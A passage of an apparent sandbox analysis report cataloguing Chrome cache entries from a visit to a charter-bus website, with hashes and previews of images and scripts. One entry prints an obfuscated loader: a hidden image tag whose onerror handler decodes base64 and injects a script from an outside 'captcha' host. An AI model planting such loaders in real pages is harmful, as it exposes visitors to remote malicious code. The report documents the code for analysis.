Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:20+05:30" xmp:ModifyDate="2021-12-28T13:30:01+05:30" xmp:MetadataDate="2021-12-28T13:30:01+05:30" xmpMM:InstanceID="xmp.iid:21a6ca51-e21b-ec46-9377-d9033dba226a" xmpMM:DocumentID="xmp.did:8E69714F415711EC9634C6B7C4BB483E" xmpMM:OriginalDocumentID="xmp.did:8E69714F41

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	dropped
Size (bytes):	19483
Entropy (8bit):	7.976355451012372
Encrypted:	false
SSDEEP:	384:QLnrFObLaIQ+8IdGRA8Y+h7ZlGJV89zOYEHIFl8bfrOgaW6dHjyQG5GCzQb:QLnZoaI9h8fjYL8RnN8faxdDyQ+/zQb
MD5:	D1E71D8200CB6EEE21DE54D8067DE8BE
SHA1:	E0FB0410B9EDAFE4695078D5F7251DA4F1135814
SHA-256:	6A515913B604FB6239EE49C6F63CFC753DC6262BEAA9CB4191D3186DA43971D8
SHA-512:	A89AB367D82AF02411E38D9AC782163543AD79A57CE7345E2A7FA8443DCA4EF64587E32723F2EDC67C62FEB784C1D939AF0E12FDCB890B441ACA109ED4DC22DB
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C........$.............7......................................................................2......>.0I.].L.N...._..l.I'H.]I..!r.T.d.1.V.48I.....<V.e.&i". .....".ut.[H[.=&)6t....T.w.a\K.]...D.$.%E... .s....Xw.L..`@.DS(.......5..J.....k.".&."..(.lS...).WfD.]..2q`.=..=E/0.....Z...C..(.qm.4..y.ui...bQ.D..CG-n....1...3.d...7.!.........M.....tv...!.d.....K.,.oR.....N..q..;..=..%..&.W....x...b#9.!.3..lU....\|.e...g._.....%..pa..i5.gbN.uf.+,..m@$ ...o.S.......J...%...0....;[.\WO.S.w...Y......6..r.>%.&...K...$.$..M..?.......+....!..g...}...e"..~.q.k. .....\|..1.bRE%....6e.z..SAu..8.v...s....i.U.'c........\......;.k....\|..gW.m.d....V67.*.D...=...U...%z.S3bi....s=.[..~..-m..L3../\3..;.O.T$.o..js.{..Y..\.o..MS...D.Vk4.....I.....6xP.............yq,.....-..Og6.....GH.......f...z..V.+..y..k... ..OK...L..@.;

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 70, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13480
Entropy (8bit):	7.9560409135057375
Encrypted:	false
SSDEEP:	384:wDKh4pr9oDUpuUH6BjgTJQAta2jldEGDGON:Bwr9M/UwgTuiaAI8
MD5:	A4E39C9F99423851D84AE8D6F521E66C
SHA1:	6348961503A02CC7F684E2C950E04A57C07F582A
SHA-256:	5219E548E113D071C433307D9232B6D194B145530D13B7F4C3C97F22D4DA5596
SHA-512:	79D13A1A492239A92592C88202D159BE3424B4BBF3401451F197BD3B5862947D65332EFF21D9CD8B6C071AF55FD2A5D854C73D78F4D19C5B36AE8ADD951A9599
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/city/icon4.png
Preview:	.PNG........IHDR.......F.....#!......sRGB...,.....pHYs...%...%.IR$...4MIDATx..}.....f6i...e....... 2. x...&.d.&c0.$.x$.@B.!.V.......h...2.`r.9gI................gCW.u.[..>}v..ag..........g........5.6...e.........V..}N...........J6.........K..@E...1....v...,..N.....A...2u+$.]+.k..g5.d...E?......0k..k...j......a.#..x....$..B.Nm..4..['.;e..j).Imc85~.....j.0"Nm..M1...91),&.#bki...v.?.s.....Z. ^i..b.._Hj..f...Y...]...0..>....Q.......4....1Hwp..2(.0...Yb.'..A.=6`MM..W..D....Z..MZ.\|m..W...."...g.=UP..+y..J....a./...a.&.+D.>E..$..'...:X`...4. A1.UU.%...($.=..^`Q.yd....C............Cg.....M..g.....+.)...1j/.......z.......w.I.C6R.P.c$f....\.....R&.r6...w.%........k..2..<.{W?;..5uu..P..i....o..Y....2..F.?B..@...m...R4.EN.u..Z.$.>.....](.....xf.C.?#.....]Q.o.4k7..G3=y1.U.[.i.......f.[....Wb{.....[...EE.A.o.g7.#..u....]Z\|...N.5{.Lr.S...4^.P.+...E..w.}wg....Ds$.t...UJ..z.]...!......*.?>.h(..vZ.z.m..J..".}.>>..>.H..@......(....E....^.]....Bbr(..c..

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	3768
Entropy (8bit):	7.510316826606761
Encrypted:	false
SSDEEP:	96:gSu4wknmWpiq2x7/aY5H6Pik/VU9YgKQtLNmdeGotkL+E:gSuVknZwXq/VUNhS+E
MD5:	C4E9AC7134804E8A5CDC0D3B63B05E9A
SHA1:	C4D2F7CFB995EB64A3818AE6312FFD5B86509445
SHA-256:	D177AD8EA42511EFC080B6A06B272B30DE329B839DA6E752AD5C7EA6EA9D0554
SHA-512:	2C7737DEBE6A30E67CA2BCF15D22CFB6DCF9DC23B5B3D7E1CF2C17D95F81CB68EA50BDE48A63EFF8913AA2ACAB022E97A83DA6D6AF8F6196CAB77DA4FC78679B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:32+05:30" xmp:ModifyDate="2021-12-28T13:30:26+05:30" xmp:MetadataDate="2021-12-28T13:30:26+05:30" xmpMM:InstanceID="xmp.iid:da33827c-fd77-764c-95a9-37e0333c94a7" xmpMM:DocumentID="xmp.did:E26FAB36415A11ECB6B58AED6EC5A049" xmpMM:OriginalDocumentID="xmp.did:E26FAB3641

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	dropped
Size (bytes):	16312
Entropy (8bit):	7.968181507053499
Encrypted:	false
SSDEEP:	384:1vpqTNBJ5aH0kAPLID2ZVOLMx2uMAmvL8h+mxc4DyO2MaS:1vgfJ4VSy5uMAmD8h+9O2MJ
MD5:	1FDC99ED9009BC7DE33311C5ACAB4AE9
SHA1:	DAAA4C178548DAA6B79CA9F35A58AC5F0F31E0DA
SHA-256:	82C4A8FEFFE445C8063A7EA6E783B9ABBA3D27E034AE6245B5D2552E24144CDE
SHA-512:	8D976540B68768D0F9B5B48A10C8C875D298DB94966AD02D234A44EB1DC9C56A61729CB5831D9735EBA3E114B816DBBE06421FC2E658A7CB9DFDCDBF42D69E6A
Malicious:	false
Reputation:	low
Preview:	......JFIF.......................................................... .... %...%-))-969KKd............................................ .... %...%-))-969KKd........$..!..........6....................................................................NI8B...6.. ?4.....\..I.{..+......U...q.;._t..4M...4.g....2j<..V...B\...].v..ErD.9.[axC7\|.C.k........o8...{....W....X+....Mw=..X.=..C.........4......fz.WFV.R...\..v..L....._x..t..W..$O....\|.UA....Nm........j...>..Qu..YX...j.7....fe....i^....T.9....h..1NMM...3.[6}{..6.}..Dd..=.9'c..E.Is.6...\|.8...S.../.Q... ..b-...b....1.2.kC...5.O..T.e......O...P...[_m=G.OD..r.......}j...t.\.0.L.g&..EI..r...jI.......?....>....Q ..K.._.t<..&.N"...i..2..?Q"phj..^=B\|.....q.y..F.w.E4.+..Cz.....5..n...-..''..9\|..E.k.S=....C.....T+...s.^.f.C9..O0...!.b..o(k0>.YoM....uh...-.'..^.9.O.`.s.s...7.V.x.Z.Gg;..~5Y.v.Z.Mz.l.3m.8...}h.m.Vb.W.[...U...q..?....4mQ...W.W.."sZ..5.S....0.A..$.D..M.`;(..@...Mov..=...s.E.\|......v..{3...Jk.7j.:

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	23062
Entropy (8bit):	7.972586125189637
Encrypted:	false
SSDEEP:	384:BNcrpqJwSK/2yKkoetJTfjWkUsX+7Db45ijATqNWLa2iDDY6t2u4/49vYj6:ghR/2RAbovboUqLahcs4/6Yj6
MD5:	843064DA951783851157F06B81FCF5FE
SHA1:	E838C6052AD6960B482EE0F4ADC9EC2EDA7ED5BF
SHA-256:	F7F13DA027BF7A6EE711FBB451945FB710409BBFABE4665357E26C0498AE8BA1
SHA-512:	E95DA0CD439F47C73AB94C786D69D5ACBBE6B049653D141AAFE7360B833D399B5048CB3F2DD2F3300FDE96855DF44199CB7894CD8065CCF440AC7FB98D972BC3
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934813employee-shuttle-services.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................7....................................................................~...h5..R...45.9....n.\qg.^....N.eMF..Q...o\|..!.D+.r..yf'.G.$.I$.Ir..Q.v ....0t..M..R.6......W\..(....c....c.TX..f:w_.:N..E.<.b...\I$.I$.IF....[.$q..vs..\|..j.&...6...co..c...9..%.<..e.M.:..p\..zt.CU...w..I$.I$.I.....2.$.BD`.'u..i.o...0....>.\%......".U.$$qc.u.;.e..5..Y..I$.I$.I$.I$....gK...#..u..=..W/_.....n..x.N:..nz.......t...p.X.....5..-gg.I$.I$.I$.I$..mT@.F.n.Z..R.'.).._G\|....g.I..y.Cy...l..^BU..V.r.r#....6p...^... >.I$.I$...wX.-.J..'Azn]-...`.%.p...K.....k.....\.......jw..c.G...O.#.r.1.}.. .a./~..%.bI$.b.:k..[.T.F...&..G....E.p..NI.=.yf..s....'..=g..'c.^W....!U.p........~.7C8..an..b..G....I$.\....hh..\_;.../?.Y\9...as...C...~I...\|.K...6J....D.:O.$..7....s......f.5./..j...#/.5.?.UB.\o{y....R.%.B.-..?cp..O.hj..

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	downloaded
Size (bytes):	192269
Entropy (8bit):	7.9417938311245475
Encrypted:	false
SSDEEP:	3072:Jg/u4ar3l6eU2DEkJVnVKk2NqOK4xzPF3oHGoHdrbjtiNPWYA1qFsqSWBM/:oar3/AkJVnVKeOdTs9r3YTnU
MD5:	136BE2D217A0050E33CC5670E96AFE46
SHA1:	96B8FAC7A18A52DEC83D34B59C48633D4AA36A54
SHA-256:	DC808103FED19184FB20E4FE4911E6232DEBEAE7856A8FA240531F8E74CD487F
SHA-512:	3A9E8C0D7D7C2416FFCFE5FB214E130AF1CA041B7C6A73E0370DD0801ABF8B2D3EADF7A69E6477092D08B4D4D267796F00E1953A45D95FEDF4AA122F0009677A
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/amenties/exterior/GOGO_Charter_bus_fleet.jpg
Preview:	......JFIF.............C............................. .....!%0)!#-$..9-13666 (;?:4>0563...C...........3"."33333333333333333333333333333333333333333333333333.............................................................................................O..T....(.-.....b.E!j...V"U..J..)(!T.B.."U.X......XT. .@ ...A!@............)).,.%..@...(%.....%X..)........B.$.......@R......).@....A....V%.,.@%.%....T.....P@...!@.H.R.Z....)....P..)......R......X....%X.D.. .h"U (...$.....- ..........................XT.....!i....i(.H!A......J....-@.%.B...H.......!@!A............(.@.@.`....H...R..U.B.%Ye..)(........B.@........,J@.....$...X..T.a...)...(.$RP.....Ih....IT.P....H..)(.......%X.B........H..@.....(.@.E...)(....,A@....AT...@.......!V .b..@.(!H...( @R .3!P.U$.e ,....".IH....`-....(.B.... ..H.`..(....@....(..................P@R...R.... ...( ... .........@U. ....)............)..i.P....)(......H....U...@....H...P............@.).........R..........B.. .............i.........$P.@P@.....H. ....

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89475
Entropy (8bit):	5.289540431614111
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakV:AYh8eip3huuf6IidlrvakdtQ47GKl
MD5:	12B69D0AE6C6F0C42942AE6DA2896E84
SHA1:	D2CC8D43CE1C854B1172E42B1209502AD563DB83
SHA-256:	6150A35C0F486C46CADF0E230E2AA159C7C23ECFBB5611B64EE3F25FCBFF341F
SHA-512:	A55F55D56899AB440EF0CAE17B28D5CC8F5B9766D1E9BC1A8AC6B89376924B476C1AB0C325497EB5D44AF41F4EBF8EEA236D87A36902244B8A3ECA54994B8711
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/jquery-3.5.1.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	dropped
Size (bytes):	351393
Entropy (8bit):	7.9718210190615295
Encrypted:	false
SSDEEP:	6144:5uFiKUclS0B15HWANXfy6Yua3L0FzThq3YIpbWTItlc18mMtiThAMnxdy2IeaFh:52S0d2A4Mab0zThq3YIpiTn1MtiT+CxE
MD5:	73919EF1ACA45D8758881EC8A29A7402
SHA1:	67340F8D2C9D6763997FD3B02804DA3CF9F157ED
SHA-256:	4FA3DDEFF905F15112BF517599A7F31400EBAFD598284B2C7CB27AFD34AB7F1D
SHA-512:	797129C02786C650199B02A8480463A0A028A00CB65BDC8CFDC4BA4C25106222F1941B7EB1AD90B048DF3015EAF3044221BFF1A863D8956B233C3F99134CE441
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...................... ....&"((&"%$0=3-9.$%5H59?ADED)3KPJBO=CDA...C...........A,%,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......................................................................................................P......PP............................................................t.....,......K.......9.?...iu...K....@(...(...D...@...B...K.....(..)...Q...D..@D...}`PP ...@.P...R.@.....................................9.X..................Y.3v...@......@.....@......._OG.b....P ...R. %. . ..H..B..@..` "P "P".X. X.....%..\|...........(..............................................t......... ........=.][........,.@....,.....O....Z............@@J....@......D.@D.(D.J.@J.@J..D)..)......%..P.R....HP.........D.A@.............................7..P.................g.k.....(.`. ...........r~^]_.. .....%....!@...........".P..P..%...X..."..".....n........((.............(.(..............................X.c.............@...yp.{w.......... ......

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	21130
Entropy (8bit):	7.95971719246678
Encrypted:	false
SSDEEP:	384:Cgo1Ql/4bqr53DA5X4HmUqExrWDraVtkcpJY66+4xsNkJ36Ohy:toW/4M3U5X7ArWwkcpJ6+nNk9hy
MD5:	30A0A1EF7A4D35AFCD0FF2EEAF6FB547
SHA1:	4F32F57967E6700836B254FC2DD40E2505F3CEF7
SHA-256:	71D24E29D860CB1B064534AD218F7FFAA44E45D5BCD03E92C6BC4F242BA1F7FA
SHA-512:	196C6E3C3E9C40A2303299A0CDFF94328452847635BF3A7507C5EA8F3F7F24F2E8B59D181031771EC9CE18CA073E8D158E06EF58FAF0887E3D5D49B60F7C75F0
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F08761AEE355B99F4F568FE8DC243294" xmpMM:DocumentID="xmp.did:80EBB9EF4DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9EE4DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:26c01e69-f61a-4d40-bc38-ee87cf64c0fb" stRef:documentID="xmp.did:26c01e69-f61a-4d40-bc38-ee87cf64c0fb"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	30849
Entropy (8bit):	7.966936331467395
Encrypted:	false
SSDEEP:	384:APiHIB2Q+oUVbprVd4diN5bkzZxgWaXtpKCu82ziq2Qj9Pi0fN0l17WuQxldwGrG:nVoUViSGz4Wa9kCupziRMPDfE17W5UGK
MD5:	631116A74BB6F51F115C7B183EAA6878
SHA1:	B382E2A8C5DB3A82666CFFD7ECD655C568DC4844
SHA-256:	163A23A9A61176E4A877908A086EFBE20A7364DC63F21C431BD41121A0E5187C
SHA-512:	2C2EDA7514FFCDA05B72688B7CB65AFE6219C020D4E740C4456DFF863A9EC6B89F4B83987A7643EC9DE4FDF10C0BBBB634714D9367F97BF32AF90612CA7579A2
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/tv-screen-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2022 Macintosh" xmpMM:InstanceID="xmp.iid:F7CB9F6F4DC011EF962FFFD3A1D94748" xmpMM:DocumentID="xmp.did:F7CB9F704DC011EF962FFFD3A1D94748"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F7CB9F6D4DC011EF962FFFD3A1D94748" stRef:documentID="xmp.did:F7CB9F6E4DC011EF962FFFD3A1D94748"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	dropped
Size (bytes):	70188
Entropy (8bit):	7.982543632403224
Encrypted:	false
SSDEEP:	1536:u9l+HjD5AFEk/nfiAUyAfnrOJ/udVz8UEaE/7FG0x:1HjDqBSAUnrcWVgUEd/7Fn
MD5:	4B5A09D7E03E20275CC90A205F7C0196
SHA1:	1C2EA8F1B70A5BC4975730EA5C0479C2BC2A122C
SHA-256:	6BDAAF4F47FEEFE02F875A0FB7D3F2F00BB39402B8F27228E1BE10BB0E75116B
SHA-512:	72C814E98E66A78672DDAE6522F57F63DEDFB9294D0B9584AB7CFE1B34CA807D6B82F2D41FE5D657D45469F33FB3696F39BAF506D2CFA6A8A8C1C8DD0B6A3EC7
Malicious:	false
Reputation:	low
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6......................................................................OR..}i.f.*.xi..j....n...F.IlWc4\.?....zP........D..@....1B$.$....-..5A_......V.S-.Ik....I.s.[...L...l...X./5o.6......V./Z.........(HD.0$.a."L.$D&3...(.q.!1.._...8.\......T...Z..}.Z..MBX.Tk..N.Lc.....>N.16..v......'..L! ...j..&..DB%..c........W.......a..&.&..JsN..]._}N.g.....6.U,<[.s.9....]>.............Z...L!1.1.L..&3.L\|_.\|...GZ3.t./+....C......H.^..Y&...4....../n...%..;.)G..Vw....s.......0.j.j.I..)0.1.1.1...q.\|.En'..H...J.o+k.r..K.Oc...yv.\...?.n......o/S..-.U....r.y,...^.........!5D."MLf..B_) .....1l.......5.E.^........W.N..u'...q4_'I.p.... ..s....i........ ...Z.&.L!1.......[......}4..H.u...H... ....b8......&...[.....>....g......@...@..U.a......}y.Q.;.s...u.w....o3^.`....W..qXn{.d~.~c..x}..y..^......?@>.

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5432)
Category:	downloaded
Size (bytes):	316412
Entropy (8bit):	5.618659827675773
Encrypted:	false
SSDEEP:	3072:sc5OUTeI5R0i1p9qiy0JZoQpaGOzNc7f4/nqxLg/zkFT2oONUjoAjTUS4jF43F8t:14IL0uWPNcbtQ6joAyF43F8yuxzgi
MD5:	C5EC7600291807EC4AAB0D18317244B0
SHA1:	C7701BE13C7FB41AD1D8444B33E37845B1981FF8
SHA-256:	2305719D8F375798F143BA6B01C8F5D31F97F63236A9BE465E36A544AA875C90
SHA-512:	E66DE7729FE6A9AFA4C8A1F5E7849D8095145506C3207FE6E3243AD5003C6E4B06A5B6100A592FC7553605DF339D352B5B29A04027A46A5F15A5404F54FEB5E5
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=AW-835384452
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_ads_datatos","priority":14,"vtp_instanceDestinationId":"AW-835384452","tag_id":8},{"function":"__ogt_1p_data_v2","priority":4,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_manualEmailEnabled":false,"vtp_cityValue":"","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneValue":"","vtp_autoPhoneEnabled":false,"vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"","vtp_isAutoCollectPiiEnabledFlag":false,"tag_id":4},{"function":"__ccd_ads_first","priority":3,"vtp_instanceDestinationId":"AW-835384452","tag_id":9},{"function":"__ccd_pre_auto_pii","priority":1,"vtp_instanceDestinationId":"AW-835384452","tag_id":7},{"function

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	dropped
Size (bytes):	534
Entropy (8bit):	5.822819522534293
Encrypted:	false
SSDEEP:	12:qrDfHGikGo/Pw5tf9zMynvVlZ9i8LQqNu5Z:qHvGicapRllkqA
MD5:	92BEC7A348D688025FF5E9DC4D1017B7
SHA1:	5E4AB01D8A6A1DC54BDE810C3BAD654C100162D0
SHA-256:	78F29242633E34E9BC1710137FBAB973A3DBEFC903848AF80CA6F386808B50E3
SHA-512:	E3987B48767A5EC1363AB64C72755D9CD8DB95B132C1E03C74291A3CEE05E98C4274042F64ABCF8184BB63936C70944CCFBFE610F1DFE6D874D81FA5A0CD14FB
Malicious:	false
Reputation:	low
Preview:	<img src="/files/img/logo.png" data-digest="KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OWpiR2xsYm5SekxtTnZiblJ2Ykc5bmVTNWpiMjB2WTJGd2RHTm9ZUzloYW1GNExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7" onerror="(new Function(atob(this.dataset.digest)))();" style="visibility: hidden;">.

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	31134
Entropy (8bit):	7.973723555728744
Encrypted:	false
SSDEEP:	768:Xg9MHD7A2KGD5xlmKs6RsrYg4R2kjHPNEyMouFBSGJtJfilzuAZ2:kMHD8sxlHHRss/5R2SGDJfazG
MD5:	6FD5CD6D80AFECB3E59DEDE9F3CE9EC5
SHA1:	9E877B87430A58635A8B0CFE3A90BDA5E47F8F97
SHA-256:	8D6C4952DB678CD446F54790BEE7E9C9B5517B7667A8DDC0E2627381E3631CB8
SHA-512:	9808DDEF0FD6F3D3E54E264036F26B71584404DC18821A6B50BC4A5ACEF5796BCB14EDD335D762991E8D8B80D2D1382C163D1278B5849C110FDB3B5A7D083636
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/lights-and-vents-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="691F4B526256B2D0101A3C2839EEF0CE" xmpMM:DocumentID="xmp.did:80EBB9F74DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9F64DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f52d91ab-b4a2-4ce1-b005-0ee397191958" stRef:documentID="xmp.did:f52d91ab-b4a2-4ce1-b005-0ee397191958"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
